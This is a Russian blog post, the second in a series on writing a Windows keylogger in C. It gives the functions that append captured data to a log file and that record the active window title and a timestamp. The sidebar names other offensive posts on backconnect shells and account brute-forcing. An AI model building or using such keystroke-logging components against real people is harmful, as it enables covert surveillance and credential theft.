big 300x124 Кейлоггер 2Сегодня я продолжу предыдущую статью про написание кейлоггера. Мы разберемся с некоторыми функциями, которые облегчат нашу жизнь, и сделают ее более беззаботной (хотя куда уже более?). Итак, что же нам для счастия нужно? Первое — это функция для записи в лог файл информации, которую мы выхватили на лету. Глупое дело, как мне кажется, не создавать ее — ибо придется потратить довольно большое время, постоянно набирая WriteFile. Да да, именно WriteFile, никаких там себе stdio и прочей нечести, которая облегчает нам работу. Мы не исчем легких путей.

Да, нужно не забывать переводить указатель файла на его конец, или все ваши данные будут потеряны. Вот код моей функции (а правильнее — процедуры):

char szOldWindow[0x200] = {0};

void MsWrite(char *szContent)
{
        HANDLE hFile = CreateFile(szLogPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,NULL,NULL);

        SetFilePointer(hFile,NULL,NULL,FILE_END);

        DWORD dwW;
        WriteFile(hFile,szContent,strlen(szContent),&dwW,NULL);

        CloseHandle(hFile);
}

На переменную szOldWindow пока не обращаем внимание, о ней позже. Самое вкусное — это пока MsWrite. Здесь все должно быть знакомо, если вы уже читали блог. Сначала открываем существующий файл либо создаем новый — это указывает параметр OPEN_ALWAYS в функции CreateFile. Затем устанавливаем указатель файла на конец — это делает SetFilePointer — почему на конец, ведь второй и третий параметр — NULL — но мы ведь считаем с конца — FILE_END, так что мы как раз ходим в конец. Ну а дальше все пресно — записываем и закрываем. Вторая процедура — это процедура получения информации о текущем окне, в котором были нажаты клавиши. Процедура записи данной информации выглядит вот так:

void WriteInfo()
{
        char szNewWindow[0x200] = {0};
        SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)szNewWindow);
        if(strcmp(szOldWindow,szNewWindow))
        {
                strcpy(szOldWindow,szNewWindow);

                SYSTEMTIME st;
                GetLocalTime(&st);

                char szHeader[0x300] = {0};
                sprintf(szHeader,"\r\n\r\n{[APPLICATION: %s ][DATE: %d.%d.%d ][TIME: %d.%d.%d ]}\r\n\r\n",szNewWindow,st.wDay,st.wMonth,st.wYear,st.wHour,st.wMinute,st.wSecond);

                MsWrite(szHeader);
        }
}

Первое, что делает эта процедура — так это получает заголовок активного окна — функцией SendMessage — посылает сообщение WM_GETTEXT активному окну которое возвращает заголовок. Затем, если окна в которых нажимаются клавиши различны, то в файл записывается заголовок окна, текущая дата, и время. Вроде бы очень хороший такой log файл получается… На этой ноте я заканчиваю вторую статью из моего цикла.

tt twitter big4 Кейлоггер 2 tt digg big4 Кейлоггер 2 tt facebook big4 Кейлоггер 2 tt gmail big4 Кейлоггер 2 tt myspace big4 Кейлоггер 2 tt reddit big4 Кейлоггер 2

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++